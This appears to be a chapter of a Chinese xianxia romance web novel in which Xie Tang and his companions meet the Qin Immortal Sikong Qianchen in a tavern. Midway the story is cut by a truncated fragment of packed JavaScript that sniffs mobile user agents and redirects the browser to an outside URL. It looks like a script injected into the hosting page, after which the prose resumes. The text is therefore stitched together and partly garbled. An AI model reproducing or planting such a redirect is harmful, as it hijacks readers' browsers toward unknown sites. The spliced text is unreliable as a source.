谢棠瞥了他一眼,给他倒了杯茶,一副讨好的模样:“镜玄尊者这一路也不怎么说话,想来是累了,先喝口茶吧。” “我呢!”萧裴煜不服,将一个空茶杯放在了谢棠面前。 “没大没小,论辈分,该是你给我倒茶才是。”谢棠顾自给自己倒了茶,见对面的世子爷气鼓鼓的样子,觉得有趣,故意逗道:“一会儿,还得麻烦萧世子把账结了。” “什么?”萧裴煜气不打一处来。 “不应该么?”谢棠一副理所当然的模样,幽幽道:“你我这一路若是遇到什么凶险,还得仰仗镜玄尊者,你请人家一顿饭怎么了?” 萧裴煜看看谢棠,再看看黎念笙,论嘴上功夫他说不过谢棠,手脚上又比不过黎念笙,只能吃了这哑巴亏。 黎念笙端着茶盏,没有参与这场闹剧,只是唇角微微动了一下。 谢棠看见了,他把那点笑意收进眼底,什么都没说,低头喝茶。 幽都城的酒楼不大,名声却不小,三人进去时,大堂里已坐了大半,说书先生正拍着醒木,唾沫横飞地讲着近日上界玄门的大事。 “若说起最近玄门上界的大事,那还得是前几日金陵论剑后,百晓堂发的榜啊!” “先生,这榜可有什么大出入?” “自然是冠绝榜的排名,如今的榜首乃是镜玄尊者,据说镜玄尊者身高八尺,一把镜玄剑使得出神入化,如今更是习得御剑之术,那相貌也是不凡… 他那日在名剑山庄露了面,一掌震碎了莲池,那身姿是何等的潇洒,不亚于当年一指破青山的谢颜酌,世人都道,可与那琴仙并列为天下第一美男!” 谢棠一副看戏的模样看着黎念笙,后者端着茶盏,面上淡淡的,只是脸色沉了几分。 谢棠差点笑出声。 就在此时,门口的光线忽然暗了一瞬,只见一个人影走了进来,一袭淡蓝色的衣衫,身量颀长,面如冠玉,风华绝代。 酒楼里的喧哗声低了下去,几个姑娘的筷子掉在了桌上都没发觉,说书先生也停了嘴,醒木举在半空,忘了落下。 那人似乎对这种场面早已习惯,只是无奈地叹了口气,心道,果然不论自己走到哪里,都是万丈光芒般的存在… 那人与事走到角落里一张有珠帘隔开的桌前坐下,谢棠默默戴上了面具,饶有趣味地看向那边。 萧裴煜凑过来,压低声音:“这人谁啊?排场这么大?” “看着就是了。” 小二殷勤地凑上去:“这位公子,来点什么?” “不知你们这里有没有一种酒叫秋露白?”那人想了想,“如果没有,上你们店里最好的酒就行。” “有有有!”小二跑得飞快,不一会儿便捧了一壶酒上来。 那人轻轻抿了一口,品了品,给出评价:“还凑合。” 小二的笑容僵在脸上,讪讪地退了下去。 说书先生清了清嗓子,继续开口:“话说…话说上回…” “啊…对!”老先生似乎终于回想起来,摇头晃脑道:“镜玄尊者可与那琴仙并列为天下第一美男…” 珠帘后面忽然传来一声不忿:“第一美男就是第一美男,哪里来的并列?” 众人一愣,齐刷刷看向那角落。 说书先生认出了方才进来的那位公子,捋着胡子笑道:“老朽看公子样貌也是不凡,只是镜玄尊者与琴仙,一个是冠绝榜榜首,一个是琴道之祖,不知公子有何长处,能与那二人一较高下呢?” 那人听了这话,像是听了什么笑话一般,幽幽道:“我没什么长处,就是琴弹得还可以。” 酒楼里安静了一瞬,随即爆发出一阵哄笑。 “比琴?上界剑修千千万,光剑仙就有四个,你可知那琴仙是唯一一个?你竟然要与他比琴?” “就是就是,这位公子虽然生得好看,可这皮相也不能当饭吃,还是回去多练练吧,省的贻笑大方!” 萧裴煜也忍不住低声道:“这位公子也太没皮没脸了,虽然长得人模狗样,但人贵在有自知之明,他竟然要与琴仙比琴?” 黎念笙看了他一眼,发出一声略带嘲意的轻笑。 谢棠也幽幽道:“这位公子若真是要与琴仙一比,可未必不能赢。” “啊?”萧裴煜皱眉。 谢棠叹了口气,压低声音:“百晓生言,无妄琴仙司空千尘,飘然世尘外,鸾鹤如可追,乃是天下第一美男子,你看看那人,生得这般样貌,又背了把琴,你觉得是谁?” 萧裴煜一怔,再仔细打量了一番,那帘后人虽只露出侧脸,但那轮廓、那气度,确实…… “这是真的琴仙?”他声音都变了调,又惊又喜。 “你自己看看喽。” 那边,司空千尘已被众人吵得有些不耐,他叹了口气,将身后那被布包着的长物取出来,慢条斯理地解开。 一把檀木古琴露了出来,琴身温润,隐隐有流光。 众人安静了一瞬…… “既然诸位不信,我这又刚好有一把琴,”那人抬起头,嘴角噙着一丝笑意,“那我只好献丑,让诸位自己来评判了。” 他说这话时姿态谦逊,面上却全然不是,酒楼里安静下来,众人眼巴巴地望着他,等着这位口出狂言的公子出丑。 司空千尘伸出修长的手指,搭上琴弦,然后…随意拨弄了几下…… 叮叮咚咚,毫无章法。 “我弹完了。”他说。 短暂的沉寂后,酒楼里霎时炸开:“这……这是什么!” “还真以为你有什么本事,原来就是个幌子!” “各位兄台此言差矣,”那人不紧不慢地收回手,幽幽笑道,“我这一曲乃是绝世,只是琴道博大精深,又岂是你们这些凡夫俗子能懂的?” “你这公子好不讲道理!自己没什么本事,竟在这里诋毁我等!” “就是就是!看我不给你点颜色看看!” 几个散修拍案而起,抄了家伙就要冲过去,酒楼老板见惯了这种场面,拉着小二麻利地躲到了柜台后面。 那人挑了挑唇,手指重新搭上琴弦,“有意思。” 话音落下,他拨动琴弦,原本的木琴褪去了伪装,露出底下青玉的琴座,一道肉眼可见的蓝色音刃激射而出,正中最前面那大汉的弯刀,刀身应声而碎,那人连退数步,一屁股摔出门外。 酒楼里瞬间安静了,说书先生手里的醒木“啪”地掉在桌上。 “这…”有人颤声道,“这莫不是…” 那人好整以暇地端起酒杯,轻轻抿了一口,目光扫过众人:“适才你问我是谁,你不认得我,可认得我这把琴?” 说书先生张了张嘴,半天才挤出一句:“传闻…琴仙之祖所用之琴,名唤玄觞,以青灵玉为底座,不毁不碎…” “此琴温润有灵,你,不!”老头眼珠都瞪了出来,“您就是琴仙!” “哦?”司空千尘放下酒杯,似笑非笑地看着他,“你既称我为琴仙,那方才我那一曲,弹得如何?” 说书先生额上渗出汗来,支支吾吾说不出话,酒楼老板不知从哪儿冒出来,满脸堆笑地凑上前:“琴仙说笑了!出自琴仙之手,那定是绝世之曲啊!” 司空千尘看着他,忽然大笑:“你们方才不是还说我弹的不是东西么?怎么现在又变了?” 老板讪讪地说不出话… “我是琴仙,所以这一曲便是绝世,我若只是个凡人,这一曲便是糟糠。”司空千尘收了笑,目光冷下来,“你们这些人,还真是有意思。” 满堂寂静,无人敢应。 司空千尘不再理他们,目光越过众人,落在角落里那三个从一开始就没参与这场闹剧的人身上,他长袖一挥,一道柔和的劲风卷起桌上的酒杯,稳稳当当地朝谢棠飞去。 酒杯飞到半空,忽然像是撞上了一堵无形的墙,碎成齑粉,纷纷扬扬落下来。 司空千尘挑了挑眉,看向谢棠身侧那个一直沉默的男人。 “好大的杀气啊。”他笑着起身,穿过大堂,在那三人面前站定,不请自坐。 “镜玄尊者,好久不见。” 黎念笙冷眼看着他,没有接话。 司空千尘也不恼,转向谢棠,目光在他戴着面具的脸上转了一圈:“倒是不知镜玄尊者身边何时有了位好友,这位公子是?” “在下,云台司司主,谢棠。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392782|198893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原来是谢司主。”司空千尘打量着他,目光里带着审视,“看公子身型,想来也非池中之物,为何不愿露面呢?” “琴仙说笑了。”谢棠笑着,挑眉道:“琴仙面前,谁人敢称之为池中之物?” “哈哈哈!”司空千尘对他的回答颇为满意,又寒暄了几句,才注意到一旁直勾勾盯着他看的少年,“这位小兄弟又是?” 谢棠刚要开口,那小子已经激动得不行:“在下萧裴煜,是…云台司的弟子!请琴仙多多关照!” “好一个侠气的少年。”司空千尘笑道,余光扫到他那柄火红的长剑,心中明了,又添一句:“我就喜欢你这样的少年郎。” 萧裴煜不好意思地挠了挠头,谢棠看他这副样子,又生出了捉弄他的心思,故意问:“你不是说你未来的师父是傲视上界之人?你不喜欢镜玄尊者,那这琴仙如何?” 萧裴煜没想到他会这么问,看了一眼司空千尘,有些为难。 司空千尘本是因着镇西侯的面子才随口寒暄,听谢棠说这小子竟然看不上从圣的镜玄尊者,顿时来了兴趣,再看他这副为难的模样,便更稀奇了。 “有意思。”他幽幽道,“我堂堂琴仙,竟然不配做你的师父?” “不是不是!”萧裴煜连忙摆手,“在下确实敬佩琴仙,只是…在下不会弹琴,对琴道一窍不通……” “罢了罢了。”司空千尘摆摆手,佯装生气,“你连镜玄尊者都看不上,又怎么会看得上我呢?” “跟这个没见识的小子有什么好说的。”黎念笙忽然开口,语气比方才更冷了几分,他站起身,看也没看萧裴煜,径自朝二楼走去。 司空千尘看着他离去的背影,又看看谢棠,嘴角噙着一丝意味深长的笑:“看来今日,镜玄尊者没什么心情与我叙旧啊。” 谢棠没有接话,只是笑了笑。 “不过——”司空千尘话锋一转,压低声音,“黎宗主自是天不怕地不怕,但这幽都城最近可不太平,夜半时分总有诡异的笛声,你二位可要小心。” 笛声…… 谢棠端茶的手微微一顿,他想起在碧海潮生阁那夜,也同样有一阵诡异的笛声,事已至此,他大抵能猜到,这吹笛之人,究竟是谁… 入了夜,谢棠在房里待不住,便去了后院。 月光铺了一地,凉丝丝的,谢棠见有一人站在树下,抬头望着那轮将圆未圆的月,不知在想什么。 自己没有刻意隐去踪迹,将这痕迹爆哭出来,那人也不为所动,谢棠便走到他身侧,与黎念笙并肩站着。 两个人就这么沉默地站着,月光将他们的影子拉长,最终叠在一起。 “睡不着?”谢棠先开口。 黎念笙没有答话。 谢棠等了一会儿,见他不说话,有些尴尬,便欲起身。 “你这十年…”黎念笙忽然开口,问:“过得还好吗?” 他想问,有人对你好吗… 谢棠一怔,随即幽幽一笑:“原来你想问的是这个?” 黎念笙没有接话,只是侧过头看他,月光落在那张脸上,将那层终年不化的霜雪映得薄了些,半晌,那道目光才移开。 黎念笙回过头:“没有便好。” 谢棠被他这副模样逗笑了:“没人对我好,你那么开心干嘛?” 黎念笙没有答话。 谢棠靠回树干上,仰头看着月亮,语气轻松:“我这十年浑浑噩噩的,没心思想这些。” 黎念笙听着,眉头微微蹙起,却没有说什么。 谢棠偏过头看他,忽然凑近了些,压低声音:“不过话说回来,黎宗主问这个做什么?” 黎念笙侧头,对上那双近在咫尺的眼睛,那眼里有促狭的光,像十年前那个站在竹枝上看着他的少年,一样的居高临下。 他沉默了一瞬,收回目光,扭过头:“随便问问。” 谢棠“啧”了一声,显然不信,却也没有追问。 风从墙头吹过来,带着深秋的凉意,远处不知什么地方传来更鼓声,一下一下,沉闷悠远…… 鼓声渐落,突兀的笛声响起… 二人是在瞬间便警惕起来,也都想到了同一个人… 若说是用笛,有一个人,实在太难被忽略… 魔教,青龙圣使!